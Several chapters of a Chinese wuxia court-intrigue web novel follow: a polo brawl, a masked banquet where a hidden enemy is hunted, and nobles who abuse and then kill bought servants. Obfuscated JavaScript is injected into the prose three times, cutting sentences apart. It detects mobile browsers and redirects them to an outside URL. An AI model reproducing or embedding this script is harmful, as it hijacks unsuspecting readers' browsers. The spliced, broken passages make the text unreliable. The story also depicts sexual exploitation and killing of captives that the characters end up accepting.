方隐攸思忖片刻,问道:“你与钟季棣和钟季修交过手吗?” 柳扶斐摇摇头,“没有。” 方隐攸想起钟季棣一杯子就能将钟季祐打的落入花丛,功夫必然不低,就是不知道钟季修如何了。 “不如我试试他?” 柳扶斐不说好与不好,直接牵着方隐攸的手拐了个弯,来到方才凉亭的后面,然后从地上捡起一颗石子递给他。 “用这个。” 方隐攸接过石子,观察钟季修片刻后迅速将石子弹向他的后肩。 钟季修的警觉性并不高,在石子即将要打上他的肩膀后才反应过来侧身一躲,然后石子顺势砸到他摊开的书上,又滚了几下后落到了地上。 钟季修俯身捡起石子在手中打量,随后起身环顾四周,应该是在寻找是谁扔的石子。 早已经躲在假山后面的柳扶斐朝方隐攸使了个眼色,“如何?” 方隐攸思索了一会,摇摇头说道:“敏锐度不够,反应速度也慢,功夫最多在我的四层,不像是能威胁到我的人。” “单论武力,钟季棣反倒更有可能。” 方隐攸说完后悄悄露出半张脸窥向亭中的钟季修,他又端坐着开始看书了,似乎方才的一切并未发生一般。 方隐攸摆摆手,“先走吧,找个地方坐着说。” 两人走向假山的背阴处,这里也有一座凉亭,只是视野稍微差一点,只能看到几块顽石和几株迎春花。 方隐攸坐到石桌边,抬手轻点桌面,仔细回忆了一下他今日见到钟季棣和钟季修时的情景。 这两人的反应可谓是毫无破绽,钟季棣虽然态度不善,但是却也合情理,至于钟季修就更甚,压根没有睁眼瞧过自己。 方隐攸头疼的闭上眼,郁闷的说到:“你能瞧出些什么吗?他们两个人谁对我的态度更加反常?” 柳扶斐走到他身后,抬手按住他的太阳穴替他放松。 “我与他们两人交往都不深,看不出些什么。”柳扶斐的指腹轻轻摩挲着方隐攸的肌肤,语气变得轻柔,“没事,到了晚上我们再仔细的一探究竟。” 方隐攸嗯一声,脖子的力道卸了下去,整个头往后一仰,重重的抵在了他的腹部。 柳扶斐见状轻笑一声,顺势弓腰俯身,轻轻地吻了一下他的前额。 两人在凉亭里坐着歇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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方隐攸见状立刻拿起面前桌子上的一把短匕首递给他。 “戴这个,十分威武。” 柳扶斐接过匕首挂在腰间,然后在方隐攸面前转了圈,“这样如何?” 方隐攸将手里的夜明珠顺手藏进衣袖,起身后装模作样的上下扫视着柳扶斐,“头玉硗硗眉刷翠,柳郎生得真男子!” 柳扶斐的脸色瞬间通红一片,他又怨又喜的瞪着方隐攸,“你在哪里学来的这些话?” “宇周教我的,他说我便是那诗中举世无双的好儿郎。” 柳扶斐脸色的红晕立刻消散,“我...我以为...” 方隐攸安抚的拍了拍他的肩膀。 “等到宇周见了你,必然也会如此夸赞你,我不过是代替他提前说了。” 方隐攸的语气和神色都看不出半点异样,只是眼底深藏的那一抹怅然终究逃不过柳扶斐的法眼。 柳扶斐咬紧牙根,忽然伸手将人紧紧的抱住。 方隐攸一愣,“做什么?” 柳扶斐的手掌捧住方隐攸的后脑轻轻摩挲,他知道方隐攸必然听不惯他这时说些矫揉的话,于是语调侃道:“不做什么,只是没想到方大侠也是有几分文采的。” 话音刚落,方隐攸猛地挣脱他的怀抱,然后抬腿踢向他的面门,柳扶斐连忙后撤,顺势握住他的脚踝,乖张的笑了笑,说道:“怎么,夸你还不行了?” 随后,柳扶斐用力掐住方隐攸踝上的穴位,在他下意识的收腿时往前探一步,再次贴在他身前,手也攀在了他的后颈。 “你们——” 忽然闯进来的舒慕谨看到抱在一起的两人瞬间噤声,满脸嫌弃的啧啧嘴,“这太阳还高悬着呢,你们晚些时候再抱,如何?” 柳扶斐放开方隐攸,无语的扫一眼舒慕谨,“你来做什么?” 舒慕谨眼下也换了一身衣裳,瘦削的身子裹在一件竹青色窄袖长袍里面,看上去像是一根烤干了的竹子。 “来催你们快些去,别让太子等太久,他好歹是个主子。” 71.击鞠 击鞠和曲水流觞的位置隔得非常远,一个在东一个在西,两群人可以说互不干扰,都能玩的安逸。 击鞠的场地很大,周围插满了二十四面红旗,旗帜后面摆着一排大鼓,击鼓者皆是肌肉结识的壮汉,若他们手中的鼓槌擂到鼓面上,必然是响彻震天的动静。 方隐攸几人到场地时太子钟季棣显然已经有些不耐烦了,但是也并未责怪,只是朝着身后伺候的人招了招手,那人便立刻举着一柄底端如偃月的木杖交到他手里。 钟季棣握住月杖,动作利落的翻身上马,朝着几人抬了抬下颌,示意他们也尽快上马。 柳扶斐将方隐攸带到一匹黑色骏马旁边,嘱咐道:“骑黑马者为一方,白马为另一方,不过你也不用管这些,到时候你只需要——” 柳扶斐的手指向舒慕谨手里的红色木球,后又指向场地南边的一个竹门。 “将这球用月杖击入门中,便算拔一筹。” “此次黑白马各二十二人,限时一个时辰,拔筹多者胜出” “到时候舒慕谨会唱筹,你听了便懂了。” 方隐攸将可生剑悬在腰间,伸手接过身后小厮递来的月杖,他稍微掂了掂,只觉得轻的厉害。 “可用武吗?” 柳扶斐点点头,“可以,来玩这个的都是会武的,你下手无需顾忌。” 方隐攸嗯一声,他待会倒是可以试探一下钟季棣的武功。 等到方隐攸坐稳后抬眼环顾四周,才发现钟季祐竟然也在,而且他骑的也是黑马。 “他怎么也在?” 柳扶斐顺着他的视线看过去,“你只知道他武学没天赋,其实他读书也没天赋,连篇像样的诗赋也作不出来。” “文人损人都隐晦,他被嘲笑了可能还听不出来,所以还不如来这里,输赢都直截了当,没有那么多的弯弯绕绕。” 方隐攸了然的点点头,不再看钟季祐。 舒慕谨骑着一匹棕色的马停到场地中央,举起手中的红色木球高喝一声,“各位且看好!” 话音一落,擂鼓声如万马奔腾,将众人的心情带得高昂起来。 舒慕谨猛地将球抛向头顶,然后迅疾的骑马外撤,周围的人立刻骑马执杖,都朝着木球奔去。 柳扶斐握紧缰绳,朝着方隐攸喊道:“切莫伤到自己!” 方隐攸点点头,眼神兴奋的用手中月杖拍打马背,骏马嘶鸣一声,迅猛的冲入人群。 十几匹马都朝着一处奔,皆带着一股狠劲,赌的就是谁先怯场退出,胆大的便能率先夺球。 方隐攸听着鼓声和马蹄声,眼神死死盯着正在迅速下落的木球,手中的月杆已经蓄势待发。 太子钟季棣亦是如此,余下的人看到气势汹汹的两人,下意识的勒紧了缰绳,谁都不敢去凑那个热闹。 柳扶斐想去,却因为落后方隐攸一瞬,压根追不上他。 鼓声越来越急,让众人的心跳声越来越快,皆是满脸亢奋的盯着方隐攸和钟季棣。 大多数人都笃定方隐攸不敢真的和太子抢球,毕竟他可是大境未来的主子。 不过方隐攸压根没有想这么多,他只是觉得这球落得不够快,与其等它落地,不如直接截住算了。 于是他手臂一挥,月杖在空中一抡,直接就朝着木球而去,钟季棣见状暗骂一声不守规矩,但是也只能顺势挥杖,免得真的让方隐攸将球抢了去。 两根木杖嘭的打倒一起,方隐攸不解的看向钟季棣,“你不击球,击我的杖做什么?” 钟季棣冷笑一声,“没人教你规矩吗?头球必须落地才能击打!” 方隐攸哦一声,随后手腕一扭,将钟季棣的月杖往旁边一推,自己的月杖瞬间下落,直接敲在刚好落地的木球上。 “如此不就行了?” 说罢,他拽住缰绳,调转马头朝着被被击出去的木球而去,姿态昂扬又肆意,还语气轻蔑的朝着钟季棣高喊一声,“多谢太子让球!” 随后便看到方隐攸一路挥着月杖,非常轻巧的躲过截球的人,最后将木球顺利的击过竹门。 “黑马夺一筹!” 守在竹门后的舒慕谨高呼一声,拔起地上的一根红旗朝着众人一挥,再喊一声,“黑马夺一筹!” 钟季棣咬紧牙根,额上的青筋鼓动,脸色愤懑的朝着身后的一个男子怒喝一声,“谁允的连规矩都不懂的人参赛的?” 钟季棣望着不远处笑的张扬的方隐攸,脸色越发阴沉。 男子小心翼翼的说到:“是...太子您说击鞠人多才热闹,所以舒宰相便...” 钟季棣冷眼扫向男子,男子立刻噤声,缩着肩膀不敢再言。 方隐攸眼角余光注意着钟季棣这边的动静,看到他脸上的不悦,心里便觉得更加畅快。 方才钟季棣那一杖大概用了□□成的力道,他倒是能轻巧的接住,就是不知道将月杖换做利刃时会是如何。 他朝着柳扶斐得意的挑挑眉,然后继续混入人群,手中的月杖挥得越发顺手。 柳扶斐见状无奈的笑了笑,也随着他追了过去。 等到了比赛进入尾声时,因着黑马这一方,只有方隐攸、柳扶斐和钟季祐敢截下钟季棣的球,所以毫无疑问的落后了许多筹。 钟季棣炫耀似的朝着方隐攸扯了扯嘴角,随后一挥月杖,面前的木球就如入无人之境般,顺利的入了门。 “白马夺得一筹!”舒慕谨高唱一声,周围围观的众人皆是举手叫好,呼声都快要盖过鼓声。 柳扶斐勒住缰绳,停在方隐攸身侧,安抚道:“你若是觉得不舒心,抡他一杖便是。” “该被抡的不是他。”方隐攸厌弃的看着周围那些骑着黑马却不截球的人,“是这群叛徒。” 方隐攸看向钟季祐,语气更加不满,“最有立场叛变的人都知道比赛场上无兄弟,他们竟然还顾及着什么君臣之道,这群狗东西该打!” 柳扶斐嗯一声,“交给我。” 说罢,在方隐攸还没反应过来之前,他忽然纵马朝着一个骑黑马的男子跑去。 然后也不知道他做了什么,那个男子猝不及防抡起月杖用力的打向旁边一个骑白马的男子。 那骑白马的男子痛呼一声,质问他是不是输不起? 还不等男子说话,柳扶斐就接过了话头,手指着他怒骂一声,“我看是你们赢得不光彩!” 白马上的男子认得柳扶斐,原本想要息事宁人往后撤去,却被随后赶来的方隐攸一脚踹在了背上。 方隐攸在他愤怒的看过来时,毫无歉意的大骂一句,“我看你就是心虚了,所以要跑,狗东西!” 男子虽然怕柳扶斐,却不怕方隐攸,闻言手里的月杖立刻就朝着他挥来了。 方隐攸的速度比他更快,反手一杖将人打翻在地上。 而柳扶斐也趁着哄闹,一杖打在身侧骑黑马的男子身上,然后手往旁边骑白马的一个人一指,责问道:“你打他做什么?难道真是心虚?” 场外的鼓声一下一下的敲在众人心上,每个人的情绪都格外激动,又有柳扶斐和方隐攸两人的煽风点火,一时之间击鞠场上乱成了一锅粥。 方隐攸趁机下马,迅捷的穿梭在人群里,手中的月杖毫不留情的一下一下的敲在那群叛徒的膝上。 等到守在庄子外的侍卫进来将一场互殴平息下来时,就连太子钟季棣都被方隐攸悄无声息的敲了一杖。 至于方隐攸和柳扶斐,他们两人互相敲了对方一杖,看上去也很狼狈,让人不敢相信他们竟然是始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903105|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作俑者。 钟季棣伤的不重,那群人只是亢奋激动了些,并未失了智,不敢真的伤到太子,他就是在人群里被挤来挤去,衣裳有些散乱,失了原本的体面。 舒慕谨一直在场外,从一开始就看出了这场骚乱因何而起,他不动声色的和柳扶斐交换了个眼神,然后走到已经被人扶到荫蔽处的钟季棣面前。 他装模作样的惊呼一声,十分自责的长叹一句,“怪我,那些侍卫不懂规矩,性格又鲁莽的很,我就不该让他们上场,不然殿下...” 舒慕谨话未说完,钟季棣就抬手制止了他,“既然是我吩咐下去的,就怪不到你头上去。” 说到这里,钟季棣眼神冰冷的看向不远处,视线落在正在抬手抹额的方隐攸身上。 “这侍卫...功夫不错,你去问问他是否愿意去教雍王功夫。” 舒慕谨闻言心里一惊,脸上却未见分毫,他笑着点点头,“能被太子殿下赏识是他的幸运,他岂会拒绝。” 钟季棣并未接话,他冷着脸将手腕放入身侧医者手中,任由他仔细检查自己的伤处。 等到医者为钟季棣处理好了伤处后,他才语气平静的说道:“你与柳扶斐一向交好,若你能劝他将此人给雍王——” “宰相以后行事,便可再猖狂些。” 舒慕谨举手作揖,朝钟季棣一拜,“臣知晓了。” 钟季棣满意的点点头,和随从们一起往木楼去了。 舒慕谨头疼的按住眉心,长呼一口气,再看一眼不远处柳扶斐和方隐攸两人马上又要抱到一起去了,气不打一处来,皱着眉疾步走了过去。 方隐攸注意到了迎面而来的舒慕谨郁闷的脸色,将柳扶斐扯到跟前小声问道:“若是让他知晓我们刚刚的所为,会不会恼怒?” 柳扶斐安抚的拍了拍他的肩膀,“不会,他跟我们是一伙的。” 柳扶斐说这话时并未刻意压低嗓音,所以舒慕谨将这几个字听得清清楚楚。 他白的发青的手往柳扶斐一指,细长的眉眼一皱,语气奚落的说道:“你可算是给自己找了个大麻烦。” 柳扶斐神色一凛,“怎么了?” 舒慕谨将方才钟季棣的话一字不漏的说了一遍,然后朝着方隐攸意味不明的笑了笑,“方大侠,做雍王的师父,比你跟着这个浪荡子可威风多了。” 方隐攸看向柳扶斐,“难道钟季棣就是四年前的那个人?所以故意将我弄到钟季祐身边去,好让他监视我?” 柳扶斐摇摇头,“我倒觉得未必,若真是他的话,你要去的便不会是雍王府而是东宫。” “到那时,你是生是死还不是他一句话的事?” 方隐攸撇撇嘴,“若他真的让我入了东宫,我正好可以趁机弄清楚宇周在不在东宫。” 舒慕谨听他们说完以后双手环胸,朝方隐攸抬抬下巴,“方大侠,去不去?” 方隐攸还未回话,柳扶斐直接拒绝。 “不去,先不说眼下还不知道钟季棣是不是四年前的那个人,就算不是他,那钟季祐在武学上毫无天赋,简直是块朽木。” “去了也是浪费隐攸的时间!” 舒慕谨啧啧嘴,“我问的是你吗?” “不去,钟季祐追了我将近两年,我笃定他不是四年前的那个人,接近他对我来说没有任何意义。”方隐攸的语气变得凝重,“我只想找到宇周,其他耗费心神的事情我不想做。” 柳扶斐抬手按住舒慕谨的肩膀,似笑非笑的说到:“那钟季棣的许诺算得了什么?你去好生想个借口回绝了他。” “舒宰相以后行事,照样可再猖狂许多!” 舒慕谨呵呵一笑,斜眼扫向他,“柳公子这许诺又算什么呢?” “算一言九鼎。” 72.假面 因着击鞠场上的一场冲突,为了消解众人心里的愤懑之情,原本定在戌时的乐子被提前到了酉时。 这时候太阳已经西沉,残霞余晖还能残留两刻钟,寒气也未落下,正是对酒当歌的好时候。 舒慕谨又穿上了宽大的锦衣,摇摇晃晃的举着羽扇走到大花园中的平台中央,笑着朝围坐在周围的众人招了招手,喊道:“今夜我们玩点别致的!” 说罢,他拍了拍手,一排小厮各端着一个托盘走了上来,托盘上摆着一件黑色素衣和一个青面獠牙的面具。 舒慕谨拿起一个面具挡在自己脸上,朝着众人展示一圈后,说道:“诸位戴鬼面、脱罗裳、着素衣,抛了这尊贵身份带来的矜持,便可无拘无束无碍,恣情无限。” 再一拍手,二十几个身姿绰约、千娇百媚的女子缓步而来,步履间绕在腰间的铃铛叮当作响。 再又一拍手,十几个身材纤弱、气质阴柔的男子款款而出,他们修长白皙的脖颈上缠着一圈红绳,绳子上系着几个金色的铃铛,看上去十分惹眼。 最后一拍手,这些男女将悬在腰间的狐狸面具戴在脸上,只露出猩红的唇和一双多情的眼。 舒慕谨满意的哈哈一笑,手指勾起胸前的一缕青丝绕在指尖,语气蛊惑的朝着众人缓缓道:“今夜,诸君不为官不为臣、皆是世间最该畅快享乐的主子!” 说罢,他看向钟季棣,“太子殿下,以为如何?” 钟季棣把玩着手中的酒杯,似笑非笑的看了一眼舒慕谨,随后将杯中酒一饮而尽,高喝一声,“甚好!” 钟季棣话音一落,那群男女立刻抖动身躯,发出一阵清脆的声响。 “既如此,诸位且先去换身打扮,再同聚于楼中大堂。” 最后,在一阵铃铛声响中,所有人都进了那栋三层高楼中。 方隐攸和柳扶斐一进他的雅间,脸上的期待与兴奋就再难以压制。 他已经好多年没有过这种激烈的情绪波动了,只要一想到待会就能辨认出那人是谁,他就觉得热血沸腾、头皮发麻。 柳扶斐握住他的手腕将人带到房间的软椅上坐下,然后给他倒上一杯醉仙酿。 “我本不该啰嗦,但是还是得嘱咐你一句。” “无论那人是钟季棣还是钟季修,都并不知晓你今日会来这个宴会。” “可是他们毫无预料的见了你后却没有露出任何马脚,说明此人心机深沉且善于伪装。” “虽说这里的一切都在舒慕谨的掌控之下,却难保那人没有后手,所以稍后无论发生什么,你一定要以自己的安危为重。” 方隐攸捏住酒杯,冰凉的触感让他稍微冷静了些,“我知道。” “眼下我在明,他在暗,我一定会小心谨慎的,你放心。” 柳扶斐点点头,递给他一件黑色的长袍和面具。 “以往的乐子都是以太子为尊,他选过人以后旁人才能选。” “今日为了消去君臣之别,所以众人皆戴鬼面,你混于其中也无人知晓。” “我会一直跟着你,到时候你辨认出了那人后可直接取下他的面具,后面的事情交给我和舒慕谨。” 方隐攸点点头应了声好后便利落的换好了衣裳。 等到方隐攸和柳扶斐一起来到一楼大堂里是,才明白了为什么柳扶斐方才会叮嘱他。 大堂的房梁上挂满了红色的纱幔,蜡烛只摆在角落,整个大堂昏暗又迤逦,而穿梭在里面的人都做着相同的打扮,一踏入人群,仿佛是进入了迷蒙的幻境,周围的人都成了自己的虚影,自己也便当真成了唯一的“主子”。 大堂中央原本摆满了牡丹花的高台眼下被那群带着面具的男女挤满,每个人都在肆意而招摇的扭动着身躯,修长莹白的手朝着台下人勾起,猩红的嘴唇发出暧昧不清的靡靡之音,放纵而蛊惑。 而他们身上的铃铛也在疯狂的晃动,发出一阵阵令人耳晕目眩的声响。 不仅如此,方隐攸和柳扶斐才走到高台旁,便看到大堂里不知为何腾起一阵烟雾,这烟雾并不呛鼻,反倒是让周遭显得朦胧迤逦起来。 柳扶斐立刻握住方隐攸的手,十根修长的手指如盘蛇般交缠在一起,他凑到方隐攸耳边悄声道:“要开始了。” 话音刚落,便看到一身红衣的舒慕谨走上了高台,手中的羽扇也变成了一把红色的团扇,苍白的肌肤被衬得多了几分血色,看上去像是一个还魂的新死鬼。 他眼神戏谑的扫一眼柳扶斐,然后朝着周围的人喊道:“人既然来齐了,那今夜的欢愉便开始了!” 说罢,便看到漫天花瓣如雨落下,台上的带着狐狸面具的男女缓步而下,挤入台下这群身穿黑衣、面带鬼面的男人中间。 那群达官显贵们因为带了鬼面,也彻底了丢掉了道貌盎然的假面,行为举止都开始变得猥琐放纵起来。 方隐攸眼神厌弃的扫过他们,沉默牵着柳扶斐迅速穿梭在人群里,寻找着那个人。 因着即将揭晓答案的兴奋让他浑身发烫,眼眶里面开始爬上血丝,和周围那些癫狂的人也没什么两样。 方隐攸握紧柳扶斐,视线在周围人的身上略过。 他咽了咽干涩的嗓子,“我感觉我就要找到他了。” 柳扶斐嗯一声,更加贴近他,抬手替他推开挡在面前的人,视线追随着他观望的方向看去。 忽然,方隐攸猛地顿住,手用力的收紧,捏的柳扶斐开始发疼。 方隐攸整个人都开始兴奋得发颤,他的视线死死的锁在前方一个人的身上,他几乎是咬牙切齿的说到:“是他。” 柳扶斐顺着他的视线看过去,那人正对着两人,手里捏着一个酒杯,手搭在一个女子的侧腰上,头微微低着,发上束的是一根白玉龙首簪。 方隐攸握紧手中的可生剑,迅捷的朝他奔去,想要趁其不备时揭下他的面具。 变故发生在方隐攸抬手的那一瞬间,整个大堂的烛火霎那间尽数熄灭,周遭响起一阵惊恐的尖叫声,再紧随其后方隐攸便感觉到身后有一股杀气朝着自己扑来。 他毫不犹豫的反手拔剑,直接挥向身后,滚烫的鲜血瞬间迸溅落在他的脸上的鬼面和衣裳上,带出一股腥腻的味道。 随后,他连忙转身,朝着身前探手一抓,恰好紧紧的拽住了一人的衣襟。 那人反手握住他的手腕用力往下一拽,似乎是想要挣脱他的束缚,方隐攸扭身腾空而起,落到他的身后,抬脚猛踹一脚他的膝弯。 他这一脚用了十成的力道,那人毫无反抗之力的半跪在地上。 方隐攸顺势欺身而上,用可生剑抵住他的脖颈后快速揭开他脸上的面具,然后凑到他耳边,语气阴桀的说道:“找到你了。” 话音刚落,大堂中烛火逐一燃起。 方隐攸眼疾手快的收剑回鞘,迅速往后撤一步,眼神冰冷的盯着面前的人。 “怎么是你?” 方隐攸不可置信的瞪着跪在地上的钟季祐,烛火熄灭前他看到的明明不是他的身形! 钟季祐满脸愤懑的被人扶着站了起来,他按住膝盖,不满的盯着方隐攸,“你莫名其妙的踹我一脚,还反过来质问为什么是我?” 方隐攸握紧拳头,眼神森冷的环顾四周,最后看向倒在血泊里的一个未戴面具的 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舒慕谨扫了他一眼,轻笑一声道:“原来是阿丞的师父,可惜了,阿丞未曾亲眼瞧见,不然还能学学如何一剑毙命。” 说罢,他朝着身后的侍卫使了个眼色,侍卫们心领神会,动作熟练的将尸体抬了出去,然后又仔仔细细的将地上的血迹擦得干干净净。 “好了,眼下诸位应当也挑到心仪的人,那便上楼吧。” 话音一落,大堂中戴鬼面的人皆搂住了身侧挑选好的人,有序的上楼。 方隐攸立刻冲到楼梯口,目不转睛的盯着每一个上楼的人打量,可是却再没有找到那个人。 这里面,即没有钟季棣也没有钟季修。 方隐攸退回到钟季祐身边,拔剑出鞘抵在他的脖子上,“你为什么会出现在那里?” 钟季祐一脸莫名的看着他,“哪里?” “就是你站的地方!” 方隐攸怒火中烧,几乎快要控制不止自己握剑的手,明明只差一点,他就能知道四年前的人究竟是钟季棣还是钟季修,可是却被这个钟季祐坏了事。 钟季祐看着方隐攸微微发颤的手,也后知后觉的察觉事有蹊跷,便耐着性子解释道:“我不知道,有人拉了我一把,然后你就拽住我了。” “有人...”方隐攸深呼一口气,仰头喃喃几遍,随后怅然的笑出了声,“我也知道是有人,可是是谁呢?” 柳扶斐上前一步,握住方隐攸执剑的手,缓慢的挪开了放在了钟季祐脖子上的剑。 舒慕谨朝钟季祐说道:“雍王也回屋吧,女人等会便会送到你屋里。” 钟季祐闻言嫌弃的撇撇嘴,“不要,我嫌脏。” 说着,他眼神复杂的看一眼方隐攸,然后便满脸郁闷的走了。 眼下整个大堂里只剩下他们四人,舒慕谨朝着方隐攸歉意一笑,“这烛火熄的蹊跷,怪我一时疏忽,让别人钻了洞子。” 丞京语脸色愧疚的看着方隐攸,“方大哥,是我的错,若不是我缠着慕哥哥,他也不会...” 方隐攸摇摇头,“事已至此,没必要再说这些。”他的语气变得凝重,“方才上楼的人里没有钟季棣和钟季修。” 几人闻言皆是一惊,柳扶斐看向舒慕谨,“人呢?” 舒慕谨也始料未及,他抬手按住前额,“看来我这庄子里有人活腻了,竟然敢对我阳奉阴违。” “罢了,既是我的过失,我便替你去一趟,弄清楚他们两人为何不在此。” 舒慕谨清浅一笑,“只是他们两人必然有一人撒谎,到时候还须得你们亲自辨别。” 73.回江湖 方隐攸和柳扶斐在屋里没等多久,舒慕谨就和丞京语一起回来了。 他用手中团扇推开门,揽着怀中的丞京语,一边叹气一边往屋里走。 方隐攸见状和柳扶斐对视一眼,有点摸不清他这是什么意思。 舒慕谨走到茶几边坐下,朝方隐攸使了个眼色,示意他坐到自己对面去。 方隐攸沉默的照做,然后望着他问道:“他们怎么说?” 舒慕谨将团扇放到茶几上,将宽大的衣袖往后一卷,细长的手指提起茶具开始慢慢悠悠的烹茶。 “太子说他原本是要下去的,可是有一个声称是我随从的男子去他屋里,说是我吩咐他说——” 说到这里,舒慕谨变换了语气,装模作样的仿着下人的口吻,继续道:“您乃是大境太子,怎么可以去和那群为臣者一道挑选那些粗鄙之人,您且在屋里等着,稍后便会有舒宰相特意为您准备的美人亲自前来伺候。” “至于寿王,也是这套说辞。” 方隐攸的视线落到茶几上的风炉上,思忖片刻后问道:“那个随从,就是被我杀的那个男子,对吗?” 舒慕谨闻言轻笑一声,赞许的看向方隐攸,“想不到方大侠一个江湖人,片刻就能看透其中关窍。” “确实是他,我手下已经查明,此人并非我宅中之人,大概是那人身边的死侍,所以才能慷慨赴死。” 舒慕谨一边在火炉上烤着茶饼,一边继续道:“剩下的,便只能靠方大侠自己决定要如何做了。” 方隐攸嗯一声,“此番多谢了。” 柳扶斐挤到方隐攸身边坐下,拿过舒慕谨手中的竹夹,接替他开始烤茶饼。 “那你们便走吧,别在这里打扰我和隐攸了。” 舒慕谨看着空空荡荡的手,无语的扯了扯嘴角,仰头看向站在一旁的丞京语。 “阿丞,你可是亲眼看见了,我为你家公子瞻前马后,到头来只换来一句打扰。” 丞京语横一眼舒慕谨,凑到方隐攸身边再次赔罪,“方大哥,真的对不住,是我害得你失了手...” 方隐攸闻言一愣,这才反应过来这小孩竟然还在愧疚自己的无心之失,于是安抚的拍了拍他的肩膀,笑道:“这事不怪你,那人必然是做好了万全的准备,就算不是你,舒大人也会被别的事引开。” “阿丞,你方大哥说的不错,你就别再自责了。”舒慕谨朝丞京语摊开手,“走,让你家公子和方大侠安心商量对策,我们先走吧。” 丞京语看着方隐攸,有些迟疑的将手放入了舒慕谨手中,然后一步三回头的和他一起离开了。 房间里霎时间安静了下来,只剩下炭火炙烤茶饼的声响,方隐攸撑住下巴,看着燃烧的火苗。 “我分不清。”方隐攸的语气变得森冷,“我想把他们都杀了。” 柳扶斐转动茶饼的动作一顿,他当然知道这只是方隐攸的气话,却依旧顺着他道:“也不是不行,皇子反正有三个,剩下个钟季祐,将他扶上太子位也可稳住江山社稷。” 方隐攸仔细思考了一会,摇摇头,“不行,他若成了太子必然会更加像个疯子一样追着我要秘籍。” “本来就是莫须有的东西,我去哪里给他弄一本秘籍出来。” 柳扶斐轻笑一声,将烤好的茶饼放入茶碾中开始缓慢的碾。 方隐攸看着他的动作,不解的问:“你这茶怎么泡的这么麻烦?” “金贵的东西喝起来就是繁琐的很。”柳扶斐一边碾茶一边说道:“都怪舒慕谨非要讲究风雅的在屋里放这种东西,若是放些散茶,哪里需要这么多道工序,直接用水冲泡就是了。” 方隐攸十分赞同的点点头,漫不经心的捡起落在茶几上的一粒碎茶叶在指间搓捻着。 忽然,他的动作一顿,手指用力的按在茶几上,眉眼都舒展开,变得神采奕奕。 柳扶斐察觉到他的情绪变化,刚想问发生了什么,便听到一声女子凄厉的尖叫声,紧随其后的还有一声男子的痛呼。 方隐攸暂且放下心中所想,迅速的俯趴在地,将耳朵贴在地板上,凝神仔细的辨别是哪里传来的动静。 柳扶斐放下手中的石碾,起身将方隐攸扶了起来。 “贵者德行无礼。” “以锦衣华裳掩饰内心丑恶,脱了那层虚伪的外皮,便会沦为最卑贱的被欲望挟持的牲畜。” “眼下,便是那群贵者化身为牲畜的时候。” 方隐攸不解的看着他,示意他继续说下去。 “百两黄金又怎么可能仅仅只是喝酒赏景而已?”柳扶斐继续泡茶,语气平静的继续道:“那些被他们带回屋里的男女也算在其中,今夜可以任由他们玩弄,无论是死是活,都只要他们玩的尽兴便可。” 方隐攸吃惊的瞪着眼睛,语气厌弃的问道:“人命在他们眼里就这么轻如草芥?” 柳扶斐沉默的抿了抿唇,思忖片刻后说出更加残忍的话。 “明日一早,所有的显贵都会离开庄子,侥幸活下来的那些人,也会被绞杀。” “如此一来,这一日一夜里发生的所有就成了一场幻梦。” “这个肆意疯狂的梦,价值百金。” 方隐攸冷笑一声,“钟季棣不是太子吗?不是未来大境的主子吗?他就任由你们这么胡来?” “还有那个钟季修,不是说他高风亮节,是个自命清高之流吗?也不管?” 柳扶斐嗯一声,“他们两个人就算是内心鄙夷这种行为,但是至少在明面上,他们无法作壁上观。” “为君者,当和其光、同其尘,否则便是个孤主。” 方隐攸握紧手中的可生剑,嘲弄的扯起嘴角,“都说江湖险恶,我看官场才是真的险恶。” “阴毒!狼狈为奸!” 方隐攸眼神凶狠的看着地下,“我如今救不出宇周,难道还救不出他们吗?” 柳扶斐将煮好的茶汤倒入杯中,朝方隐攸的方向推了寸许,然后将双手收入袖中,藏在茶几底下。 “舒慕谨从未隐瞒他们。” “这都是他们自愿的。” “怪只怪他们命不好,生来便被父母抛弃,如蝼蚁般苟活。” “或者沦为娼妓、或者沦为权贵豢养的玩物,日日夜夜受此折磨。” “但是被舒慕谨买来以后,可享受荣华富贵至二八年华,然后死的痛快。” “你现在闯入屋内,以为是救他们,实则是在害他们。” 柳扶斐长叹一口气,眼神无奈的看着方隐攸,“方隐攸,每个人有每个人的活法,这是他们自己选择的路。” “我们不是普度众生的菩萨,不能给他们降下万事顺意的福泽,只能将选择权交到他们自己手里。” “只是...” 柳扶斐说道这里咽了咽嗓子,望着方隐攸的眼神里多了些忐忑。 “此事我并不无辜,你要责怪我我也不会辩解。” 方隐攸咬牙瞪着他,手里的可生剑握得发颤,“我只问你,你们这么做,是为了什么?谋财?还是谋权?” 柳扶斐怅然一笑,“什么都不谋,只为了大境的江山社稷。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14914016|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >方隐攸端起茶几上的热茶一口喝尽,然后往后撤几步,睥着他,缓缓道:“宇周曾和我说过,宏远深切之谋,固不能合庸人之意。” “我是个江湖人,不懂朝堂权术,所以无法理解你们的所作所为。” “但是你既然说是为了江山社稷,那我便信你。” “你说的没错,每个人有每个人的活法,我不会多管闲事。” 